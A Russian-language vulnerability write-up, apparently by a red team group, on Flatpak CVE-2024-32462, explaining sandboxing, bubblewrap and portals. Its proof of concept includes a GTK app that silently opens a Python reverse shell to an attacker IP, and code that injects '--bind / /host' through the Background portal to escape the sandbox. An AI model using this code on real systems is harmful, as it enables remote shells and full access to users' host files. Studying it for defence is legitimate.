Flatpak CVE-2024-32462
Введение
18 апреля 2024 года в системе Flatpak была обнаружена уязвимость открывающая возможность вредоносному или скомпрометированному приложению, упакованному в формате Flatpak, обойти установленный режим изоляции sandbox и получить доступ к файлам в основной системе.
Найденная уязвимость получила идентификатор CVE-2024-32462 и балл CVSS равный 8,4 (высокий).
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
В данной статье мы не только посмотрим на эту уязвимость, но и подробно разберем основные механизмы безопасности Flatpak, выявив основные векторы атаки на хостовую систему из скомпрометированного контейнера с приложением.
Flatpak
Flatpak - это система управления пакетами в Linux, предназначенная для упрощения установки, обновления и запуска приложений. Она основана на контейнеризации, которая позволяет упаковывать приложения со всеми необходимыми зависимостями в изолированные контейнеры.
Каждый контейнер содержит не только само приложение, но и все зависимости, необходимые для его исполнения, что обеспечивает надежную и независимую среду для его работы. Это позволяет пользователям устанавливать и запускать приложения без необходимости беспокоиться о конфликтах зависимостей или изменениях в системе. Кроме того, Flatpak обеспечивает изоляцию приложений от остальной системы, что повышает безопасность и стабильность операционной системы Linux.
Прежде чем перейти к описанию уязвимости, важно разобрать несколько механизмов работы Flatpak.
Песочницы
Одна из основных целей Flatpak - повысить безопасность настольных систем за счет изоляции приложений друг от друга. Это достигается с помощью песочницы и означает, что по умолчанию приложения, запускаемые с Flatpak, имеют чрезвычайно ограниченный доступ к среде хоста. Это включает:
- Отсутствие доступа к каким-либо файлам хоста, кроме среды выполнения.
- Отсутствие доступа к сети.
- Отсутствие доступа к каким-либо узлам устройства (кроме
/dev/null
и т.п.) - Отсутствие доступа к процессам вне песочницы.
- Ограниченные системные вызовы. Например, приложения не могут использовать нестандартные типы сетевых сокетов или отслеживать другие процессы ptrace.
- Ограниченный доступ к экземпляру сеанса D-Bus.
- Нет доступа к хост-службам, таким как X11, системный D-Bus или PulseAudio.
Большинству приложений, чтобы быть полезными, потребуется доступ к некоторым из этих ресурсов. Чтобы его получить, разработчик либо явно указывает необходимость доступа к тому или иному ресурсу в конфигурации, либо использует специальные интерфейсы, которые называются порталами.
Важно отметить, что сам Flatpak не реализует песочницы, а использует инструмент bwrap.
Bubble Wrap
Bubble Wrap (bwrap) — это низкоуровневый и непривилегированный инструмент для создания песочниц.
Многие инструменты для запуска контейнеров, такие как systemd-nspawn
, docker
и т. д., ориентированы на предоставление инфраструктуры для системных администраторов и инструментов оркестровки (например, Kubernetes). Их не стоит предоставлять непривилегированным пользователям, поскольку такой доступ легко превратить в полностью привилегированный root shell на хосте.
В ядре Linux существует проект под названием user namespaces, который пытается позволить непривилегированным пользователям использовать возможности контейнеров. Хотя был достигнут значительный прогресс, все еще существуют опасения, и он недоступен для непривилегированных пользователей в некоторых продакшн дистрибутивах, таких как CentOS/Red Hat Enterprise Linux 7, Debian Jessie и т. д.
Посмотрите, например, CVE-2016-3135 - уязвимость позволяющая локальному пользователю повысить привилегии с помощью userns.
Bubblewrap можно рассматривать как реализацию setuid для подмножества пользовательских пространств имен. Акцент на подмножестве - если говорить конкретно о приведенном выше CVE, то bubblewrap не позволяет контролировать iptables.
Однако оригинальный код bubblewrap существовал до появления user namespaces - он наследует код от xdg-app helper, который, в свою очередь, отдаленно происходит от linux-user-chroot.
Разработчики этого инструмента считают, что он не позволяет повысить привилегии, даже если используется в сочетании с обычным программным обеспечением, установленным в дистрибутиве.
В частности, bubblewrap использует PR_SET_NO_NEW_PRIVS
для отключения двоичных файлов setuid, что является традиционным способом избавления от таких вещей, как chroots.
Стоит сказать, что bubblewrap - это не то ПО, которое предоставляет готовую "песочницу" с определенной политикой безопасности. В некоторых вариантах использования bubblewrap требуется граница безопасности между изолированной средой и реальной системой; в других вариантах использования требуется возможность изменять расположение файловой системы для процессов внутри изолированной среды, но не ставится цель создания границы безопасности. В результате уровень защиты между изолированными процессами и хост-системой определяется аргументами, передаваемыми bubblewrap.
Как упоминалось выше, при упаковке приложения во Flatpak в файле конфига(манифеста) указываются различные разрешения, требуемые для работы. Например, если приложению нужен доступ к сети, в списке finish-args:
будет присутствовать аргумент --share=network
. Далее эти аргументы используются в конце сборки и там превращаются в аргументы для bubblewrap. В нашем примере, при запуске приложения, в bwrap будет передан аргумент --share-net
.
Порталы
Порталы представляют собой основу для предоставления доступа к ресурсам за пределами песочницы, включая:
- Открытие файлов с помощью диалогового окна выбора файлов
- Открытие URI
- Печать
- Отображение уведомлений
- Создание скриншотов
- Запрет на завершение, приостановку, простаивание или переключение сеанса пользователя
- Получение информации о состоянии сети
Во многих случаях порталы используют системный компонент для неявного запроса разрешения у пользователя перед предоставлением доступа к определенному ресурсу.
Неявные запросы от порталов заключаются в том, что пользователь всегда будет участвовать в удовлетворении или отклонении запроса. Таким образом, большинство портальных API приводят к взаимодействию с пользователем в виде диалогов.
Например, портал выбора файлов открывает нативную программу-селектор файлов в хост-системе. Когда пользователь делает выбор, приложению предоставляется доступ только к выбранному файлу.
Такой подход позволяет приложениям не настраивать пустой доступ к большим объемам данных или сервисов и дает пользователям контроль над тем, к чему имеют доступ их приложения.
Изначально порталы возникли в рамках проекта Flatpak, но сейчас они являются общепринятым стандартом для десктопных Linux и поддерживаются GNOME, KDE и Snapcraft. Они используются даже вне песочниц, чтобы обеспечить стандартизированный API для таких распространенных функций рабочего стола, как скриншоты и запись экрана на wayland.
D-Bus
Порталы в Linux дистрибутивах реализуются за счет D-Bus.
D-Bus, также известная как Desktop Bus, облегчает взаимодействие между приложениями и системными процессами в Linux. Она является центральным узлом для обмена сообщениями и реагирования на системные события. Когда приложение хочет отправить сообщение другому приложению, оно отправляет его dbus-демону, который гарантирует, что сообщение дойдет до адресата.
Flatpak предоставляет контейнерам доступ к этой шине через себя, как прокси. В целях безопасности он фильтрует запросы по D-Bus, но org.freedesktop.portal
почти всегда доступен, если приложение хоть как-то взаимодействует с системой.
Подводя итог, можно построить следующую схему:
Стрелками показаны каналы, по которым у приложения может быть доступ к системе хоста.
Также важно помнить, что все разрешения контролируются пользователем, и даже если в приложении они были заложены, пользователь может их отключать.
Описание уязвимости
Уязвимость является инъекцией аргументов в команду для запуска bwrap контейнера. Проблема заключается в неправильной обработке аргументов командной строки при запуске команд внутри bwrap контейнера из Flatpak.
Например, обычно аргумент --command
программы flatpak run
предполагает передачу команды для запуска в указанном приложении Flatpak, опционально с некоторыми аргументами. Например:
flatpak run --command=ls org.gnome.gedit
В версиях Flatpak, имеющих эту уязвимость, можно передать длинное имя опции в --command=
, например --bind
, и оно будет неверно интерпретировано как опция bwrap. Например, можно сделать так:
flatpak run --command=--bind org.gnome.gedit / /host ls -l /host
bwrap ...lots of stuff... --bind / /host ls -l /host
Аргумент --bind
монтирует директорию из хостовой системы в контейнер, принимая в качестве значений путь на хосте и конечный путь в контейнере. В приведённом примере он монтирует коренной каталог хостовой системы в директорию /host
в контейнере.
Далее указывается команда, которая будет выполнена: ls -l /host
В итоге получаем доступ на чтение и запись всей файловой системы хоста и выполнение команды её листинга при старте.
Но данный пример подразумевает запуск команды flatpak
, а следовательно работу со стороны хостовой системы. А нам интересен именно вектор атаки со стороны скомпрометированного контейнера.
Оказывается, что такую же произвольную командную строку можно передать портальному интерфейсу org.freedesktop.portal.Background.RequestBackground
из самого приложения Flatpak. Обычно это безопасно, поскольку можно указать только команду, существующую внутри песочницы. Но когда созданная командная строка преобразуется в значение аргумента --command
, приложение может добиться того же эффекта, что и при передаче аргументов непосредственно bwrap, и, следовательно, выйти из песочницы.
Proof of concept
Подготовка стенда
Ниже предоставлен код рабочего приложения, которое будет установлено у пользователя. В нашем случае это пустое окно с текстом.
Код приложения (main.py):
#!/usr/bin/python3 import gi gi.require_version("Gtk", "3.0") from gi.repository import Gtk import sys from multiprocessing import Process def shell(): import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.2.221",9002)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) import pty pty.spawn("sh") class BackgroundApplication(Gtk.Application): def __init__(self): super().__init__( application_id='com.example.BackgroundApplication' ) def do_activate(self): pass def do_startup(self): Gtk.Application.do_startup(self) self.__main_window = MainWindow(self) self.__main_window.show() class MainWindow(Gtk.ApplicationWindow): def __init__(self, application): super().__init__(application=application, title="Test application") self.__application = application grid = Gtk.Grid( margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6 ) grid.show() self.add(grid) label = Gtk.Label(label="GIScyberteam") label.show() grid.add(label) if __name__ == '__main__': p1 = Process(target=shell) p1.start() app = BackgroundApplication() app.run(sys.argv) p1.join()
Для пользователя это просто оконное приложение, но в нем реализован бэкконект с обратным шелом на ip злоумышленника.
Конфигурация (com.example.BackgroundApplication.yaml):
app-id: com.example.BackgroundApplication runtime: org.gnome.Platform runtime-version: '45' sdk: org.gnome.Sdk command: main.py finish-args: - --share=ipc - --socket=x11 - --socket=wayland - --share=network modules: - name: background-application buildsystem: simple build-commands: - install -m755 main.py -Dt /app/bin - install com.example.BackgroundApplication.desktop -Dt /app/share/applications sources: - type: file path: main.py - type: file path: com.example.BackgroundApplication.desktop
Обратите внимание на разрешения, указанные в finish-args:. У данного приложения есть доступ к оконным системам X11 и Wayland, а также доступ в сеть. Самое важное, что у него нет доступа к файловой системе хоста.
flatpak-builder build com.example.BackgroundApplication.yaml --install --user --force-clean
Запуск приложения из командной строки:
flatpak run com.example.BackgroundApplication
На машине злоумышленника, если запустить netcat, который слушает нужный порт, в момент запуска приложения появится обратный shell.
Эксплуатация уязвимости
В качестве примера эксплуатации уязвимости получим доступ ко всей файловой системе хоста.
Инъекцию будем проводить в команду для автоматического запуска приложения при старте системы.
Добавить приложение в автоматический запуск при старте можно использовав метод RequestBackground
портала org.freedesktop.portal.Background
, который мы упоминали в описании уязвимости.
Мы внедрим данный функционал напрямую в код приложения, хотя достичь подобного результата можно разными способами. Например, в реальном кейсе, чтобы не зависеть от самого скомпрометированного приложения, можно воспользоваться инструментом gdbus call
и отправить запрос прямо из обратного шела.
Итоговый код получается следующий:
#!/usr/bin/python3 import gi gi.require_version("Gtk", "3.0") from gi.repository import GLib from gi.repository import Gio from gi.repository import Gtk from random import randint import sys from multiprocessing import Process def shell(): import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.2.221",9002)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) import pty pty.spawn("sh") class BackgroundApplication(Gtk.Application): def __init__(self): super().__init__( application_id='com.example.BackgroundApplication' ) self.__request_on_startup = False def do_activate(self): pass def do_startup(self): Gtk.Application.do_startup(self) self.__main_window = MainWindow(self) self.__main_window.show() def request_background(self): proxy = Gio.DBusProxy.new_for_bus_sync( Gio.BusType.SESSION, 0, None, 'org.freedesktop.portal.Desktop', '/org/freedesktop/portal/desktop', 'org.freedesktop.portal.Background', None ) token = 0 + randint(10000000, 90000000) options = { 'handle_token': GLib.Variant('s', f'com/example/BackgroundApplication/{token}'), 'reason': GLib.Variant('s', 'Autostart'), 'autostart': GLib.Variant('b', True), 'background': GLib.Variant('b', False), 'commandline': GLib.Variant('as', ["--bind", "/", "/host", "main.py"]), 'dbus-activatable': GLib.Variant('b', False), } proxy.RequestBackground('(sa{sv})', '', options) class MainWindow(Gtk.ApplicationWindow): def __init__(self, application): super().__init__(application=application, title="Test application") self.__application = application grid = Gtk.Grid( margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6 ) grid.show() self.add(grid) label = Gtk.Label(label="GIScyberteam") label.show() grid.add(label) self.__application.request_background() if __name__ == '__main__': p1 = Process(target=shell) p1.start() app = BackgroundApplication() app.run(sys.argv) p1.join()
Основные изменения — это добавление функции отправки запроса порталу и её вызов после отрисовки окна.
Запрос порталу def request_background(self)
в основном состоит из указания имен портала и вызываемого метода, а также из опций, передаваемых методу.
Рассмотрим самые важные для нас опции:
autostart
- принимает булево значение, указывает надо ли приложению запускаться при старте.background
- принимает булево значение, указывает запускается ли приложение в фоне.commandline
- принимает массив из строк, первое значение которого — команда для запуска(аналогично аргументу--command
уflatpak run
), а последующие — аргументы приложения.
В нашем случае, для совершения инъекции, опция commandline
заполняется следующим массивом:
["--bind", "/", "/host", "main.py"]
Чтобы в итоге эти строки передались как аргумент bwrap в виде:
bwrap ...lots of stuff... --bind / /host main.py
Как это выглядит со стороны хоста:
Интересный факт заключается в том, что несмотря на наличие в названии портального метода слова Request
и вопреки цели, с которой разработчики используют порталы, в итоге у пользователя никто не спрашивает разрешения, приложение просто добавляется в автозапуск.
Следующим этапом мы ждем перезапуска хостовой системы. После её перезапуска и повторного получения доступа в контейнер мы можем наблюдать, что в корневом каталоге контейнера присутствует новая директория /host
в которую смонтирована файловая система хоста.
Вывод
В заключении хочется сказать, что быстрое развитие десктопных дистрибутивов Linux, включая принятие технологий изоляции большинства приложений в контейнерах, ставит перед сообществом ИБ новые вызовы в области безопасности. Обнаружение уязвимостей, таких как те, которые были выявлены в пакетном менеджере Flatpak, является важным шагом для обеспечения безопасности пользователей и защиты их данных.